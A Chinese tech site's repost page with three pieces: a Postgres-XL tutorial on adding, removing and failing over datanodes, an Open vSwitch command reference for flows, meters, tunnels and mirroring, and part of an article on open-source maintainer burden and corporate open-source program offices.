pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Installing pgxc_ctl_bash script as /home/postgres/pgxc_ctl/pgxc_ctl_bash.Reading configuration using /home/postgres/pgxc_ctl/pgxc_ctl_bash --home /home/postgres/pgxc_ctl --configuration /home/postgres/pgxc_ctl/pgxc_ctl.confFinished reading configuration. PGXC_CTL START Current directory: /home/postgres/pgxc_ctlPGXC 在服务器xl3上,新增一个master角色的datanode节点,名称是datanode3 端口号暂定5430,pool master暂定6669 ,指定好数据目录位置,从两个节点升级到3个节点,之后要写3个none none应该是datanodeSpecificExtraConfig或者datanodeSpecificExtraPgHba配置PGXC add datanode master datanode3 xl3 15432 6671 /home/postgres/pgxc/nodes/datanode/datanode3 none none none 等待新增完成后,查询集群节点状态: postgres= select from pgxc_node;node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-----------+-----------+-----------+-----------+----------------+------------------+-------------datanode1 | D | 15432 | xl1 | t | f | 888802358datanode2 | D | 15432 | xl2 | f | f | -905831925datanode3 | D | 15432 | xl3 | f | f | -705831925coord1 | C | 5432 | xl1 | f | f | 1885696643coord2 | C | 5432 | xl2 | f | f | -1197102633(4 rows) 节点新增完毕 数据重新分布 由于新增节点后无法自动完成数据重新分布,需要手动操作。 DISTRIBUTE表分布在了node1,node2节点上,如下: postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+-------1148549230 | 42-927910690 | 58(2 rows) 新增一个节点后,将sharding表数据重新分配到三个节点上,将repl表复制到新节点 重分布sharding表postgres= ALTER TABLE disttab ADD NODE (datanode3);ALTER TABLE 复制数据到新节点postgres= ALTER TABLE repltab ADD NODE (datanode3);ALTER TABLE 查看新的数据分布: postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;xc_node_id | count ------------+--------700122826 | 36-927910690 | 321148549230 | 32(3 rows) 登录datanode3(新增的时候,放在了xl3服务器上,端口15432)节点查看数据: [postgres@gtm ~]$ psql -h xl3 -p 15432 -U postgrespsql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= select count() from repltab;count -------100(1 row) 很明显,通过 ALTER TABLE tt ADD NODE (dn)命令,可以将DISTRIBUTE表数据重新分布到新节点,重分布过程中会中断所有事务。可以将REPLICATION表数据复制到新节点。 从datanode节点中回收数据 postgres= ALTER TABLE disttab DELETE NODE (datanode3);ALTER TABLEpostgres= ALTER TABLE repltab DELETE NODE (datanode3);ALTER TABLE 删除数据节点 Postgresql-XL并没有检查将被删除的datanode节点是否有replicated/distributed表的数据,为了数据安全,在删除之前需要检查下被删除节点上的数据,有数据的话,要回收掉分配到其他节点,然后才能安全删除。删除数据节点分为四步骤: 1.查询要删除节点dn3的oid postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id -------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11819 | coord1 | C | 5432 | datanode1 | f | f | 188569664316384 | coord2 | C | 5432 | datanode2 | f | f | -119710263316385 | node1 | D | 5433 | datanode1 | f | t | 114854923016386 | node2 | D | 5433 | datanode2 | f | f | -92791069016397 | dn3 | D | 5430 | datanode1 | f | f | -700122826(5 rows) 2.查询dn3对应的oid中是否有数据 testdb= SELECT FROM pgxc_class WHERE nodeoids::integer[] @> ARRAY[16397];pcrelid | pclocatortype | pcattnum | pchashalgorithm | pchashbuckets | nodeoids ---------+---------------+----------+-----------------+---------------+-------------------16388 | H | 1 | 1 | 4096 | 16397 16385 1638616394 | R | 0 | 0 | 0 | 16397 16385 16386(2 rows) 3.有数据的先回收数据 postgres= ALTER TABLE disttab DELETE NODE (dn3);ALTER TABLEpostgres= ALTER TABLE repltab DELETE NODE (dn3);ALTER TABLEpostgres= SELECT FROM pgxc_class WHERE nodeoids::integer[] @> ARRAY[16397];pcrelid | pclocatortype | pcattnum | pchashalgorithm | pchashbuckets | nodeoids ---------+---------------+----------+-----------------+---------------+----------(0 rows) 4.安全删除dn3 PGXC$ remove datanode master dn3 clean 故障节点FAILOVER 1.查看当前集群状态 [postgres@gtm ~]$ psql -h xl1 -p 5432psql (PGXL 10r1.1, based on PG 10.6 (Postgres-XL 10r1.1))Type "help" for help.postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id-------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11739 | coord1 | C | 5432 | xl1 | f | f | 188569664316384 | coord2 | C | 5432 | xl2 | f | f | -119710263316387 | datanode2 | D | 15432 | xl2 | f | f | -90583192516388 | datanode1 | D | 15432 | xl1 | t | t | 888802358(4 rows) 2.模拟datanode1节点故障 直接关闭即可 PGXC stop -m immediate datanode master datanode1Stopping datanode master datanode1.Done. 3.测试查询 只要查询涉及到datanode1上的数据,那么该查询就会报错 postgres= SELECT xc_node_id, count() FROM disttab GROUP BY xc_node_id;WARNING: failed to receive file descriptors for connectionsERROR: Failed to get pooled connectionsHINT: This may happen because one or more nodes are currently unreachable, either because of node or network failure.Its also possible that the target node may have hit the connection limit or the pooler is configured with low connections.Please check if all nodes are running fine and also review max_connections and max_pool_size configuration parameterspostgres= SELECT xc_node_id, FROM disttab WHERE col1 = 3;xc_node_id | col1 | col2 | col3------------+------+------+-------905831925 | 3 | 103 | foo(1 row) 测试发现,查询范围如果涉及到故障的node1节点,会报错,而查询的数据范围不在node1上的话,仍然可以查询。 4.手动切换 要想切换,必须要提前配置slave节点。 PGXC$ failover datanode node1 切换完成后,查询集群 postgres= SELECT oid, FROM pgxc_node;oid | node_name | node_type | node_port | node_host | nodeis_primary | nodeis_preferred | node_id -------+-----------+-----------+-----------+-----------+----------------+------------------+-------------11819 | coord1 | C | 5432 | datanode1 | f | f | 188569664316384 | coord2 | C | 5432 | datanode2 | f | f | -119710263316386 | node2 | D | 15432 | datanode2 | f | f | -92791069016385 | node1 | D | 15433 | datanode2 | f | t | 1148549230(4 rows) 发现datanode1节点的ip和端口都已经替换为配置的slave了。 本篇文章为转载内容。原文链接:https://blog.csdn.net/qianglei6077/article/details/94379331。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-01-30 11:09:03
96
转载
转载文章
...ovs常用命令 控制管理类 1.查看网桥和端口 ovs-vsctl show 1 2.创建一个网桥 ovs-vsctl add-br br0 ovs-vsctl set bridge br0 datapath_type=netdev 1 2 3.添加/删除一个端口 for system interfaces ovs-vsctl add-port br0 eth1 ovs-vsctl del-port br0 eth1 for DPDK ovs-vsctl add-port br0 dpdk1 -- set interface dpdk1 type=dpdk options:dpdk-devargs=0000:01:00.0 for DPDK bonds ovs-vsctl add-bond br0 dpdkbond0 dpdk1 dpdk2 \ -- set interface dpdk1 type=dpdk options:dpdk-devargs=0000:01:00.0 \ -- set interface dpdk2 type=dpdk options:dpdk-devargs=0000:02:00.0 1 2 3 4 5 6 7 8 9 4.设置/清除网桥的openflow协议版本 ovs-vsctl set bridge br0 protocols=OpenFlow13 ovs-vsctl clear bridge br0 protocols 1 2 5.查看某网桥当前流表 ovs-ofctl dump-flows br0 ovs-ofctl -O OpenFlow13 dump-flows br0 ovs-appctl bridge/dump-flows br0 1 2 3 6.设置/删除控制器 ovs-vsctl set-controller br0 tcp:1.2.3.4:6633 ovs-vsctl del-controller br0 1 2 7.查看控制器列表 ovs-vsctl list controller 1 8.设置/删除被动连接控制器 ovs-vsctl set-manager tcp:1.2.3.4:6640 ovs-vsctl get-manager ovs-vsctl del-manager 1 2 3 9.设置/移除可选选项 ovs-vsctl set Interface eth0 options:link_speed=1G ovs-vsctl remove Interface eth0 options link_speed 1 2 10.设置fail模式,支持standalone或者secure standalone(default):清除所有控制器下发的流表,ovs自己接管 secure:按照原来流表继续转发 ovs-vsctl del-fail-mode br0 ovs-vsctl set-fail-mode br0 secure ovs-vsctl get-fail-mode br0 1 2 3 11.查看接口id等 ovs-appctl dpif/show 1 12.查看接口统计 ovs-ofctl dump-ports br0 1 流表类 流表操作 1.添加普通流表 ovs-ofctl add-flow br0 in_port=1,actions=output:2 1 2.删除所有流表 ovs-ofctl del-flows br0 1 3.按匹配项来删除流表 ovs-ofctl del-flows br0 "in_port=1" 1 匹配项 1.匹配vlan tag,范围为0-4095 ovs-ofctl add-flow br0 priority=401,in_port=1,dl_vlan=777,actions=output:2 1 2.匹配vlan pcp,范围为0-7 ovs-ofctl add-flow br0 priority=401,in_port=1,dl_vlan_pcp=7,actions=output:2 1 3.匹配源/目的MAC ovs-ofctl add-flow br0 in_port=1,dl_src=00:00:00:00:00:01/00:00:00:00:00:01,actions=output:2 ovs-ofctl add-flow br0 in_port=1,dl_dst=00:00:00:00:00:01/00:00:00:00:00:01,actions=output:2 1 2 4.匹配以太网类型,范围为0-65535 ovs-ofctl add-flow br0 in_port=1,dl_type=0x0806,actions=output:2 1 5.匹配源/目的IP 条件:指定dl_type=0x0800,或者ip/tcp ovs-ofctl add-flow br0 ip,in_port=1,nw_src=10.10.0.0/16,actions=output:2 ovs-ofctl add-flow br0 ip,in_port=1,nw_dst=10.20.0.0/16,actions=output:2 1 2 6.匹配协议号,范围为0-255 条件:指定dl_type=0x0800或者ip ICMP ovs-ofctl add-flow br0 ip,in_port=1,nw_proto=1,actions=output:2 7.匹配IP ToS/DSCP,tos范围为0-255,DSCP范围为0-63 条件:指定dl_type=0x0800/0x86dd,并且ToS低2位会被忽略(DSCP值为ToS的高6位,并且低2位为预留位) ovs-ofctl add-flow br0 ip,in_port=1,nw_tos=68,actions=output:2 ovs-ofctl add-flow br0 ip,in_port=1,ip_dscp=62,actions=output:2 8.匹配IP ecn位,范围为0-3 条件:指定dl_type=0x0800/0x86dd ovs-ofctl add-flow br0 ip,in_port=1,ip_ecn=2,actions=output:2 9.匹配IP TTL,范围为0-255 ovs-ofctl add-flow br0 ip,in_port=1,nw_ttl=128,actions=output:2 10.匹配tcp/udp,源/目的端口,范围为0-65535 匹配源tcp端口179 ovs-ofctl add-flow br0 tcp,tcp_src=179/0xfff0,actions=output:2 匹配目的tcp端口179 ovs-ofctl add-flow br0 tcp,tcp_dst=179/0xfff0,actions=output:2 匹配源udp端口1234 ovs-ofctl add-flow br0 udp,udp_src=1234/0xfff0,actions=output:2 匹配目的udp端口1234 ovs-ofctl add-flow br0 udp,udp_dst=1234/0xfff0,actions=output:2 11.匹配tcp flags tcp flags=fin,syn,rst,psh,ack,urg,ece,cwr,ns ovs-ofctl add-flow br0 tcp,tcp_flags=ack,actions=output:2 12.匹配icmp code,范围为0-255 条件:指定icmp ovs-ofctl add-flow br0 icmp,icmp_code=2,actions=output:2 13.匹配vlan TCI TCI低12位为vlan id,高3位为priority,例如tci=0xf123则vlan_id为0x123和vlan_pcp=7 ovs-ofctl add-flow br0 in_port=1,vlan_tci=0xf123,actions=output:2 14.匹配mpls label 条件:指定dl_type=0x8847/0x8848 ovs-ofctl add-flow br0 mpls,in_port=1,mpls_label=7,actions=output:2 15.匹配mpls tc,范围为0-7 条件:指定dl_type=0x8847/0x8848 ovs-ofctl add-flow br0 mpls,in_port=1,mpls_tc=7,actions=output:2 1 16.匹配tunnel id,源/目的IP 匹配tunnel id ovs-ofctl add-flow br0 in_port=1,tun_id=0x7/0xf,actions=output:2 匹配tunnel源IP ovs-ofctl add-flow br0 in_port=1,tun_src=192.168.1.0/255.255.255.0,actions=output:2 匹配tunnel目的IP ovs-ofctl add-flow br0 in_port=1,tun_dst=192.168.1.0/255.255.255.0,actions=output:2 一些匹配项的速记符 速记符 匹配项 ip dl_type=0x800 ipv6 dl_type=0x86dd icmp dl_type=0x0800,nw_proto=1 icmp6 dl_type=0x86dd,nw_proto=58 tcp dl_type=0x0800,nw_proto=6 tcp6 dl_type=0x86dd,nw_proto=6 udp dl_type=0x0800,nw_proto=17 udp6 dl_type=0x86dd,nw_proto=17 sctp dl_type=0x0800,nw_proto=132 sctp6 dl_type=0x86dd,nw_proto=132 arp dl_type=0x0806 rarp dl_type=0x8035 mpls dl_type=0x8847 mplsm dl_type=0x8848 指令动作 1.动作为出接口 从指定接口转发出去 ovs-ofctl add-flow br0 in_port=1,actions=output:2 1 2.动作为指定group group id为已创建的group table ovs-ofctl add-flow br0 in_port=1,actions=group:666 1 3.动作为normal 转为L2/L3处理流程 ovs-ofctl add-flow br0 in_port=1,actions=normal 1 4.动作为flood 从所有物理接口转发出去,除了入接口和已关闭flooding的接口 ovs-ofctl add-flow br0 in_port=1,actions=flood 1 5.动作为all 从所有物理接口转发出去,除了入接口 ovs-ofctl add-flow br0 in_port=1,actions=all 1 6.动作为local 一般是转发给本地网桥 ovs-ofctl add-flow br0 in_port=1,actions=local 1 7.动作为in_port 从入接口转发回去 ovs-ofctl add-flow br0 in_port=1,actions=in_port 1 8.动作为controller 以packet-in消息上送给控制器 ovs-ofctl add-flow br0 in_port=1,actions=controller 1 9.动作为drop 丢弃数据包操作 ovs-ofctl add-flow br0 in_port=1,actions=drop 1 10.动作为mod_vlan_vid 修改报文的vlan id,该选项会使vlan_pcp置为0 ovs-ofctl add-flow br0 in_port=1,actions=mod_vlan_vid:8,output:2 1 11.动作为mod_vlan_pcp 修改报文的vlan优先级,该选项会使vlan_id置为0 ovs-ofctl add-flow br0 in_port=1,actions=mod_vlan_pcp:7,output:2 1 12.动作为strip_vlan 剥掉报文内外层vlan tag ovs-ofctl add-flow br0 in_port=1,actions=strip_vlan,output:2 1 13.动作为push_vlan 在报文外层压入一层vlan tag,需要使用openflow1.1以上版本兼容 ovs-ofctl add-flow -O OpenFlow13 br0 in_port=1,actions=push_vlan:0x8100,set_field:4097-\>vlan_vid,output:2 1 ps: set field值为4096+vlan_id,并且vlan优先级为0,即4096-8191,对应的vlan_id为0-4095 14.动作为push_mpls 修改报文的ethertype,并且压入一个MPLS LSE ovs-ofctl add-flow br0 in_port=1,actions=push_mpls:0x8847,set_field:10-\>mpls_label,output:2 1 15.动作为pop_mpls 剥掉最外层mpls标签,并且修改ethertype为非mpls类型 ovs-ofctl add-flow br0 mpls,in_port=1,mpls_label=20,actions=pop_mpls:0x0800,output:2 1 16.动作为修改源/目的MAC,修改源/目的IP 修改源MAC ovs-ofctl add-flow br0 in_port=1,actions=mod_dl_src:00:00:00:00:00:01,output:2 修改目的MAC ovs-ofctl add-flow br0 in_port=1,actions=mod_dl_dst:00:00:00:00:00:01,output:2 修改源IP ovs-ofctl add-flow br0 in_port=1,actions=mod_nw_src:192.168.1.1,output:2 修改目的IP ovs-ofctl add-flow br0 in_port=1,actions=mod_nw_dst:192.168.1.1,output:2 17.动作为修改TCP/UDP/SCTP源目的端口 修改TCP源端口 ovs-ofctl add-flow br0 tcp,in_port=1,actions=mod_tp_src:67,output:2 修改TCP目的端口 ovs-ofctl add-flow br0 tcp,in_port=1,actions=mod_tp_dst:68,output:2 修改UDP源端口 ovs-ofctl add-flow br0 udp,in_port=1,actions=mod_tp_src:67,output:2 修改UDP目的端口 ovs-ofctl add-flow br0 udp,in_port=1,actions=mod_tp_dst:68,output:2 18.动作为mod_nw_tos 条件:指定dl_type=0x0800 修改ToS字段的高6位,范围为0-255,值必须为4的倍数,并且不会去修改ToS低2位ecn值 ovs-ofctl add-flow br0 ip,in_port=1,actions=mod_nw_tos:68,output:2 1 19.动作为mod_nw_ecn 条件:指定dl_type=0x0800,需要使用openflow1.1以上版本兼容 修改ToS字段的低2位,范围为0-3,并且不会去修改ToS高6位的DSCP值 ovs-ofctl add-flow br0 ip,in_port=1,actions=mod_nw_ecn:2,output:2 1 20.动作为mod_nw_ttl 修改IP报文ttl值,需要使用openflow1.1以上版本兼容 ovs-ofctl add-flow -O OpenFlow13 br0 in_port=1,actions=mod_nw_ttl:6,output:2 1 21.动作为dec_ttl 对IP报文进行ttl自减操作 ovs-ofctl add-flow br0 in_port=1,actions=dec_ttl,output:2 1 22.动作为set_mpls_label 对报文最外层mpls标签进行修改,范围为20bit值 ovs-ofctl add-flow br0 in_port=1,actions=set_mpls_label:666,output:2 1 23.动作为set_mpls_tc 对报文最外层mpls tc进行修改,范围为0-7 ovs-ofctl add-flow br0 in_port=1,actions=set_mpls_tc:7,output:2 1 24.动作为set_mpls_ttl 对报文最外层mpls ttl进行修改,范围为0-255 ovs-ofctl add-flow br0 in_port=1,actions=set_mpls_ttl:255,output:2 1 25.动作为dec_mpls_ttl 对报文最外层mpls ttl进行自减操作 ovs-ofctl add-flow br0 in_port=1,actions=dec_mpls_ttl,output:2 1 26.动作为move NXM字段 使用move参数对NXM字段进行操作 将报文源MAC复制到目的MAC字段,并且将源MAC改为00:00:00:00:00:01 ovs-ofctl add-flow br0 in_port=1,actions=move:NXM_OF_ETH_SRC[]-\>NXM_OF_ETH_DST[],mod_dl_src:00:00:00:00:00:01,output:2 1 2 ps: 常用NXM字段参照表 NXM字段 报文字段 NXM_OF_ETH_SRC 源MAC NXM_OF_ETH_DST 目的MAC NXM_OF_ETH_TYPE 以太网类型 NXM_OF_VLAN_TCI vid NXM_OF_IP_PROTO IP协议号 NXM_OF_IP_TOS IP ToS值 NXM_NX_IP_ECN IP ToS ECN NXM_OF_IP_SRC 源IP NXM_OF_IP_DST 目的IP NXM_OF_TCP_SRC TCP源端口 NXM_OF_TCP_DST TCP目的端口 NXM_OF_UDP_SRC UDP源端口 NXM_OF_UDP_DST UDP目的端口 NXM_OF_SCTP_SRC SCTP源端口 NXM_OF_SCTP_DST SCTP目的端口 27.动作为load NXM字段 使用load参数对NXM字段进行赋值操作 push mpls label,并且把10(0xa)赋值给mpls label ovs-ofctl add-flow br0 in_port=1,actions=push_mpls:0x8847,load:0xa-\>OXM_OF_MPLS_LABEL[],output:2 对目的MAC进行赋值 ovs-ofctl add-flow br0 in_port=1,actions=load:0x001122334455-\>OXM_OF_ETH_DST[],output:2 1 2 3 4 28.动作为pop_vlan 弹出报文最外层vlan tag ovs-ofctl add-flow br0 in_port=1,dl_type=0x8100,dl_vlan=777,actions=pop_vlan,output:2 1 meter表 常用操作 由于meter表是openflow1.3版本以后才支持,所以所有命令需要指定OpenFlow1.3版本以上 ps: 在openvswitch-v2.8之前的版本中,还不支持meter 在v2.8版本之后已经实现,要正常使用的话,需要注意的是datapath类型要指定为netdev,band type暂时只支持drop,还不支持DSCP REMARK 1.查看当前设备对meter的支持 ovs-ofctl -O OpenFlow13 meter-features br0 2.查看meter表 ovs-ofctl -O OpenFlow13 dump-meters br0 3.查看meter统计 ovs-ofctl -O OpenFlow13 meter-stats br0 4.创建meter表 限速类型以kbps(kilobits per second)计算,超过20kb/s则丢弃 ovs-ofctl -O OpenFlow13 add-meter br0 meter=1,kbps,band=type=drop,rate=20 同上,增加burst size参数 ovs-ofctl -O OpenFlow13 add-meter br0 meter=2,kbps,band=type=drop,rate=20,burst_size=256 同上,增加stats参数,对meter进行计数统计 ovs-ofctl -O OpenFlow13 add-meter br0 meter=3,kbps,stats,band=type=drop,rate=20,burst_size=256 限速类型以pktps(packets per second)计算,超过1000pkt/s则丢弃 ovs-ofctl -O OpenFlow13 add-meter br0 meter=4,pktps,band=type=drop,rate=1000 5.删除meter表 删除全部meter表 ovs-ofctl -O OpenFlow13 del-meters br0 删除meter id=1 ovs-ofctl -O OpenFlow13 del-meter br0 meter=1 6.创建流表 ovs-ofctl -O OpenFlow13 add-flow br0 in_port=1,actions=meter:1,output:2 group表 由于group表是openflow1.1版本以后才支持,所以所有命令需要指定OpenFlow1.1版本以上 常用操作 group table支持4种类型 all:所有buckets都执行一遍 select: 每次选择其中一个bucket执行,常用于负载均衡应用 ff(FAST FAILOVER):快速故障修复,用于检测解决接口等故障 indirect:间接执行,类似于一个函数方法,被另一个group来调用 1.查看当前设备对group的支持 ovs-ofctl -O OpenFlow13 dump-group-features br0 2.查看group表 ovs-ofctl -O OpenFlow13 dump-groups br0 3.创建group表 类型为all ovs-ofctl -O OpenFlow13 add-group br0 group_id=1,type=all,bucket=output:1,bucket=output:2,bucket=output:3 类型为select ovs-ofctl -O OpenFlow13 add-group br0 group_id=2,type=select,bucket=output:1,bucket=output:2,bucket=output:3 类型为select,指定hash方法(5元组,OpenFlow1.5+) ovs-ofctl -O OpenFlow15 add-group br0 group_id=3,type=select,selection_method=hash,fields=ip_src,bucket=output:2,bucket=output:3 4.删除group表 ovs-ofctl -O OpenFlow13 del-groups br0 group_id=2 5.创建流表 ovs-ofctl -O OpenFlow13 add-flow br0 in_port=1,actions=group:2 goto table配置 数据流先从table0开始匹配,如actions有goto_table,再进行后续table的匹配,实现多级流水线,如需使用goto table,则创建流表时,指定table id,范围为0-255,不指定则默认为table0 1.在table0中添加一条流表条目 ovs-ofctl add-flow br0 table=0,in_port=1,actions=goto_table=1 2.在table1中添加一条流表条目 ovs-ofctl add-flow br0 table=1,ip,nw_dst=10.10.0.0/16,actions=output:2 tunnel配置 如需配置tunnel,必需确保当前系统对各tunnel的remote ip网络可达 gre 1.创建一个gre接口,并且指定端口id=1001 ovs-vsctl add-port br0 gre1 -- set Interface gre1 type=gre options:remote_ip=1.1.1.1 ofport_request=1001 2.可选选项 将tos或者ttl在隧道上继承,并将tunnel id设置成123 ovs-vsctl set Interface gre1 options:tos=inherit options:ttl=inherit options:key=123 3.创建关于gre流表 封装gre转发 ovs-ofctl add-flow br0 ip,in_port=1,nw_dst=10.10.0.0/16,actions=output:1001 解封gre转发 ovs-ofctl add-flow br0 in_port=1001,actions=output:1 vxlan 1.创建一个vxlan接口,并且指定端口id=2001 ovs-vsctl add-port br0 vxlan1 -- set Interface vxlan1 type=vxlan options:remote_ip=1.1.1.1 ofport_request=2001 2.可选选项 将tos或者ttl在隧道上继承,将vni设置成123,UDP目的端为设置成8472(默认为4789) ovs-vsctl set Interface vxlan1 options:tos=inherit options:ttl=inherit options:key=123 options:dst_port=8472 3.创建关于vxlan流表 封装vxlan转发 ovs-ofctl add-flow br0 ip,in_port=1,nw_dst=10.10.0.0/16,actions=output:2001 解封vxlan转发 ovs-ofctl add-flow br0 in_port=2001,actions=output:1 sflow配置 1.对网桥br0进行sflow监控 agent: 与collector通信所在的网口名,通常为管理口 target: collector监听的IP地址和端口,端口默认为6343 header: sFlow在采样时截取报文头的长度 polling: 采样时间间隔,单位为秒 ovs-vsctl -- --id=@sflow create sflow agent=eth0 target=\"10.0.0.1:6343\" header=128 sampling=64 polling=10 -- set bridge br0 sflow=@sflow 2.查看创建的sflow ovs-vsctl list sflow 3.删除对应的网桥sflow配置,参数为sFlow UUID ovs-vsctl remove bridge br0 sflow 7b9b962e-fe09-407c-b224-5d37d9c1f2b3 4.删除网桥下所有sflow配置 ovs-vsctl -- clear bridge br0 sflow 1 QoS配置 ingress policing 1.配置ingress policing,对接口eth0入流限速10Mbps ovs-vsctl set interface eth0 ingress_policing_rate=10000 ovs-vsctl set interface eth0 ingress_policing_burst=8000 2.清除相应接口的ingress policer配置 ovs-vsctl set interface eth0 ingress_policing_rate=0 ovs-vsctl set interface eth0 ingress_policing_burst=0 3.查看接口ingress policer配置 ovs-vsctl list interface eth0 4.查看网桥支持的Qos类型 ovs-appctl qos/show-types br0 端口镜像配置 1.配置eth0收到/发送的数据包镜像到eth1 ovs-vsctl -- set bridge br0 mirrors=@m \ -- --id=@eth0 get port eth0 \ -- --id=@eth1 get port eth1 \ -- --id=@m create mirror name=mymirror select-dst-port=@eth0 select-src-port=@eth0 output-port=@eth1 2.删除端口镜像配置 ovs-vsctl -- --id=@m get mirror mymirror -- remove bridge br0 mirrors @m 3.清除网桥下所有端口镜像配置 ovs-vsctl clear bridge br0 mirrors 4.查看端口镜像配置 ovs-vsctl get bridge br0 mirrors Open vSwitch中有多个命令,分别有不同的作用,大致如下: ovs-vsctl用于控制ovs db ovs-ofctl用于管理OpenFlow switch 的 flow ovs-dpctl用于管理ovs的datapath ovs-appctl用于查询和管理ovs daemon 转载于:https://www.cnblogs.com/liuhongru/p/10336849.html 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_30876945/article/details/99916308。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-06-08 17:13:19
295
转载
转载文章
...发团队。但是如果关注数据的话,就会发现超过70%的工作是仅仅靠五个人来完成的。 Log4j的主页上展示了十几位项目团队的成员。而大多项目的开发人员要比其原本需要的少得多----这是高度依赖开发人员团队所呈现出来的问题。 “如今几乎没有人愿意为现有的开源项目作出贡献”,来自DNS网络公司NS1的杰出工程师Jeremy Strech说,“因为通常来说,这没有直接的物质回报,也很少提供荣誉----大多数用户甚至不知道他们所用的软件是谁维护的。” 他说,开源贡献者们最常见的动机就是添加他们自己想要的功能。“一旦实现了这一点,他们几乎都不会留下来。” 与此同时,随着项目的逐渐火爆,对于维护方面的核心团队来说,他们的负担也在不断增加。 “更多的用户意味有着更多的功能需求和错误报告----但不是更多的维护人员”,Stretch说。“曾经令人愉快的爱好很快就会变成一项乏味的项目,所以很多维护人员选择干脆完全放弃他们的项目,这也是可以理解的。” Part1公地悲剧 开源软件的生态系统,就是“公地悲剧”的一个完美例子。 这个悲剧就是---当一种资源,无论是一个超限的公园还是一个开源项目,所有人都在使用而没有人贡献之时,最终都会因为过度使用和投入不足而崩溃坍塌。 这种方式可以在短期内为你节省资金,但随着时间的推移,它可能会变成项目里致命的缺陷。 拿Linux来说,这个开源操作系统在全球前100万台服务器中运行率在96%以上,且这些服务器90%的云基础设施也都在Linux上。更不用说世界上85%的智能手机都运行着Linux,即Android操作系统。 这些常见开源项目的列表还在逐渐增加着。 所以没有开源,今天的大部分技术基础设施的建设也将会戛然而止。 “这是一个很现实的问题”,Data.org的执行董事Danil Mikhailov说,该组织是由万事达包容性发展中心和洛克菲勒基金会支持,旨在促进使用数据科学来应对当今社会所面临的巨大挑战的非营利性组织。 虽然几乎所有组织都在使用着开源软件,但只有少数组织为这些项目作出了贡献。The New Stack、Linux Foundation Research 和 TODO Group 在 9 月发布的一项调查中,42% 的参与者表示,他们至少有时会为开源项目做出贡献。 而同一项研究表明,只有36%的组织会培训他们的工程师为开源作出贡献。 个体公司应该支持贡献这些他们使用最多且对他们成功至关重要的项目,Mikhailov认为:“如果你使用开源,你就应该为他做出属于你自己的贡献。” Part2OSPO的好处:更少的技术负债,更好的招聘效果 参与开源社区----特别是在内部开源计划办公室(OSPO)的指导下----不仅可以保证对组织成功至关重要项目的健康发展,还可以提高项目安全性,同时可以允许工程师在项目发展规划中起到更大的作用。 例如,如果一家公司使用了开源工具,并对其进行了一些调整使其变得更好。但如果这项改进没有反馈到开源社区,那么开源项目的正式版本就会一开始与该公司所使用的版本有所不同。 “当原始数据来源发生变化且你所使用的是不同的版本时,你的技术负债将越来越多。而这些差异是以天为单位迅速增长的。”VMware 开源营销和战略总监 Suzanne Ambiel 表示,“所以你很快就会变成一个开源项目里独一无二变体的‘自豪’用户和维护人员。” “如果技术负债越来越多,那么公司的管理成本则会非常昂贵”。 实际上对于开源活动的支持也变成了一种招聘途径。“这真是一块吸引人才的磁铁,”Ambiel说,“这也是新员工所寻求的“。 她还提到,一些工程经理可能会对贡献开源而减损核心产品的开发的精力而感到担忧。她补充到,他们的理由有可能是这样的:“我只有有限的才华与时间,且我需要这些只做我认为可以处理且看到投资回报的事情。” 但她说,这是一种鼠目寸光的态度。支持开源社区并且作出贡献的员工,可以从中培养技能与增长才干。 云安全供应商 Sysdig 的首席技术官兼创始人 Loris Degionni 也赞同这一观点:“找到为开源做出贡献的员工无疑就找到一座金矿,”他说。 他认为,这些参与开源的员工更具备公司想拥有的竞争力并将一些功能融入至社区所支持的标准中。且在人才争夺战中,拥抱开源的公司也更受到开发人员的青睐。 “最后,开源项目是由你可能无法聘请的技术专家社区推动的”,他说,“当员工积极参与并于这些专家合作时,他们将能更好地深入这些顶级的实践,并将这些收获带回到你的组织之中。” “当原始数据来源发生变化且你所使用的是不同的版本时,你的技术负债将越来越多...所以你很快就会变成一个开源项目里独一无二变体的”自豪“用户和维护人员。”— Suzanne Ambiel,VMware 开源营销和战略总监 “但是这一切终究不会白费--开发人员不应该把空闲时间用在磨练他们的技能上,因为你的公司很快就会在他们的努力中看到好处。” Degionni认为,OSPO(开源计划办公室)可以帮助公司实现这些目标,以及帮助确定贡献的优先级并确保合作的进行。除此之外,他们也可以对公司内部开发应用程序方面的治理提供相关帮助。 “开源团队的成员也可以成为开源技术的伟大内部传播者,并充当组织与更广泛社区之间的桥梁。”他补充道。 在 The New Stack、Linux Foundation Research 和 TODO Group 的 9 月调查中,近 53% 的拥有 OSPO的组织表示,由于拥有了OSPO,他们看到了更多创新,而近 43% 的组织表示,他们在外部开源项目的参与度上有所增加。 Part3更多OSPO的好处:商业优势 网络安全公司 ThreatX 的首席创新官 Tom Hickman 表示,为开源社区做出贡献,不仅有助于社区,还有助于为社区做出贡献的公司。 “围绕一个项目而发展的开发人员社区,有助于代码库的形成,并吸引更多的开发人员参与”,他说,“这可以变成一个良性循环。” 此外,根据哈佛商学院的研究,为开源项目作出贡献的公司从使用开源的项目中获得的生产价值,是不参与开源项目公司的两倍。 Cloud Native Computing Foundation 的首席技术官 Chris Aniszczyk 说,世界上许多巨头公司都为开源作出了贡献。他还提到,开源贡献者的指数是作为公司是否有所作为的参考。 科技巨头占据了这份榜单的主导地位:谷歌、微软、红帽、英特尔、IBM、亚马逊、Facebook、VMware、GitHub 和 SAP 